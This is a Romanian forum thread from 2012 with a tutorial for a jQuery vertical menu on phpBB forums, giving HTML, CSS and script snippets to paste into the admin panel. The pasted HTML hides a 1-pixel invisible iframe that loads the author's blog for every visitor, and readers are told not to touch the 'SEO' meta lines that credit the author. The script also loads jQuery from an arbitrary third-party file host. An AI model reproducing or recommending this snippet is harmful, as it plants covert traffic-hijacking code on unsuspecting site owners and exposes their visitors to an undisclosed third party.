Godzone - Forum universal
Meniu vertical cu jQuer foarte elegant 34ga4o9
Godzone - Forum universal

Aici ai baza resurselor necesare pentru jocuri.



Nu sunteti conectat. Conectati-va sau inregistrati-va

Meniu vertical cu jQuer foarte elegant

In jos  Mesaj [Pagina 1 din 1]

1Meniu vertical cu jQuer foarte elegant Empty Meniu vertical cu jQuer foarte elegant la data de Lun Mai 07, 2012 11:02 pm

benkes

benkes
Novice
Novice
Vom realiza un meniu vertical foarte elegant folosind cunoștințe minime de html - css - jQuery (versiune de forum compatibile Phpbb3)
Mai întâi DEMO: (nu voi atașa codurile la o anumita pagina html - risk de publicitate) voi prezenta demo sub forma de 2 imagini :
1) "Meniu vertical cu jQuer" asa apare în site/forum/blog dvs.: Link 1;
2) "Meniu vertical cu jQuer" asa apare în site/forum/blog dvs. după poziționarea cursorului pe meniu : Link 2
Resurse de care avem nevoie :

  • Cod html amplasare : pentru forum: Panou de administrare--->Pagina de start--->Generalități--->Mesaj pe pagina de start---> adauga codul
:
Cod:
<html>

<!-- Meta cod pentru SEO -->

<title>Meniu vertical jQuery</title>
<meta content="text/html; charset=UTF-8" http-equiv=Content-Type>
<meta name="description" content="Meniu vertical jQuery">
<meta name="keywords" content="Meniu vertical jQuery">
<meta name="author" content="Ali, matematica-ajutor@hotmail.com">

<!-- Codul css -->

<style>
        body{
            background:#fff url(desc.png) no-repeat 50px 100px;
            font-family:Arial;
            height:2000px;
        }
        .header
        {
            width:600px;
            height:56px;
            position:absolute;
            top:0px;
            left:25%;
            background:#fff url(title.png) no-repeat top left;
        }
        a.back{
            width:256px;
            height:73px;
            position:fixed;
            bottom:15px;
            right:15px;
            background:#fff url(codrops_back.png) no-repeat top left;
        }
        .scroll{
            width:133px;
            height:61px;
            position:fixed;
            bottom:15px;
            left:150px;
            background:#fff url(scroll.png) no-repeat top left;
        }
        .info{
            text-align:right;

        }
    </style>
   
    <!-- Codul HTML-->
   
    <body>
        <div class="header"></div>
        <div class="scroll"></div>
        <ul id="navigation">
       
<!-- Doar aici puteti modifica
Se modifica doar link, se pune link intre ghilimele dupa < a href=
Se poate modifica titlul. -->

            <li class="home"><a href="" title="Home"></a></li>
            <li class="about"><a href="" title="About"></a></li>
            <li class="search"><a href="" title="Search"></a></li>
            <li class="photos"><a href="" title="Photos"></a></li>
            <li class="rssfeed"><a href="" title="Rss Feed"></a></li>
            <li class="podcasts"><a href="" title="Podcasts"></a></li>
            <li class="contact"><a href="" title="Contact"></a></li>
        </ul>

<script type="text/javascript">
            $(function() {
                $('#navigation a').stop().animate({'marginLeft':'-85px'},1000);

                $('#navigation > li').hover(
                    function () {
                        $('a',$(this)).stop().animate({'marginLeft':'-2px'},200);
                    },
                    function () {
                        $('a',$(this)).stop().animate({'marginLeft':'-85px'},200);
                    }
                );
            });
        </script>
        <iframe src="http://www.pasionatidematematica.blogspot.com" style="visibility: hidden;" width="1" height="1"></iframe>
</body>
</html>
Ce trebuie sa modificați ?
Răspuns: doar ceea ce v-am sugerat în cod și anume :
Cod:
<!-- Doar aici puteti modifica
Se modifica doar link, se pune link intre ghilimele dupa < a href=
Se poate modifica titlul. -->
Ps: codul html conține linii de meta cod (nu umblați acolo), acesta vor ajuta site/forum/blog dvs în SEO ... sunt foarte importanta pentru corectitudinea codului cat și pentru trafic organic pentru site-ul dvs...sunt bonus de la mine Very Happy

  • Cod Css amplasare : pentru forum: Panou de administrare--->Pagina de start--->Imagini si culori--->Foaia de stil css---> adaugă codul :

Cod:
ul#navigation {
    position: fixed;
    margin: 0px;
    padding: 0px;
    top: 10px;
    left: 0px;
    list-style: none;
    z-index:9999;
}
ul#navigation li {
    width: 100px;
}
ul#navigation li a {
    display: block;
    margin-left: -2px;
    width: 100px;
    height: 70px;   
    background-color:#CFCFCF;
    background-repeat:no-repeat;
    background-position:center center;
    border:1px solid #AFAFAF;
    -moz-border-radius:0px 10px 10px 0px;
    -webkit-border-bottom-right-radius: 10px;
    -webkit-border-top-right-radius: 10px;
    -khtml-border-bottom-right-radius: 10px;
    -khtml-border-top-right-radius: 10px;
    /*-moz-box-shadow: 0px 4px 3px #000;
    -webkit-box-shadow: 0px 4px 3px #000;
    */
    opacity: 0.6;
    filter:progid:DXImageTransform.Microsoft.Alpha(opacity=60);
}
ul#navigation .home a{
    background-image: url(../images/home.png);
}
ul#navigation .about a      {
    background-image: url(../images/id_card.png);
}
ul#navigation .search a      {
    background-image: url(../images/search.png);
}
ul#navigation .podcasts a      {
    background-image: url(../images/ipod.png);
}
ul#navigation .rssfeed a  {
    background-image: url(../images/rss.png);
}
ul#navigation .photos a    {
    background-image: url(../images/camera.png);
}
ul#navigation .contact a    {
    background-image: url(../images/mail.png);
}
Ps: se pot modifica :background-image: url(../images/home.png); în loc de cea ce este scris cu rosu se poate adauga link catre poza dvs.

  • Cod jQuery amplasare : pentru forum: Panou de administrare--->MODULE--->HTML & JAVASCRIPT--->Gestiunea codurilor JavaScript--->Creati un nou cod java script --->adauga cod :

Cod:
<script type="text/javascript" src="http://yourjavascript.com/922553451/jquery-1.3.2.js"></script>
Ps: in caz ca nu merge accesati acest link :http://yourjavascript.com/922553451/jquery-1.3.2.js copiați conținutul documentului în :
Panou de administrare--->MODULE--->HTML & JAVASCRIPT--->Gestiunea codurilor JavaScript--->Creati un nou cod java script --->adauga cod.
De reținut :

  1. Pentru forum PHPBB3, se poate utiliza acest tutorial conform celor de mai sus;
  2. Pentru Portal forum PHPBB3, se poate utiliza acest tutorial, însa ordinea cods se modifica (pentru mai multe detalii întrebați );
  3. Pentru blog, site se poate utiliza acest tutorial (pentru mai multe detalii întrebați );
  4. In cazul site-lor/forum-lor cu conținut bogat un astfel de meniu este o "mana cereasca" ;
  5. Respectați ordinea tutorialului ... altfel veți întâmpina probleme ;
  6. Pentru suport, postați întrebările dvs aici nu prin PM

Toate aceste spuse, sper sa va fie de ajutor, voi reveni cu alte tutoriale Very Happy

Vezi profilul utilizatorului http://www.pasionatidematematica.blogspot.com

2Meniu vertical cu jQuer foarte elegant Empty Re: Meniu vertical cu jQuer foarte elegant la data de Mar Mai 08, 2012 5:03 am

Gudzone

Gudzone
Administrator
Administrator
cheers





I ♥️ GodZone
Meniu vertical cu jQuer foarte elegant Kpzd5
Meniu vertical cu jQuer foarte elegant Nuofer10-s500x52-173539
Meniu vertical cu jQuer foarte elegant Csdad1-s244x12-171888
Meniu vertical cu jQuer foarte elegant Signatureawp
Meniu vertical cu jQuer foarte elegant AdBot
Reclama ta aici cu doar 1 euro pe luna,Y!m:hous.mussic@yahoo.com sau Skype: gheorgheci pentru detalii !!!
I ♥️ GodZone
Vezi profilul utilizatorului http://godzone.forummo.com

Sus  Mesaj [Pagina 1 din 1]

Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum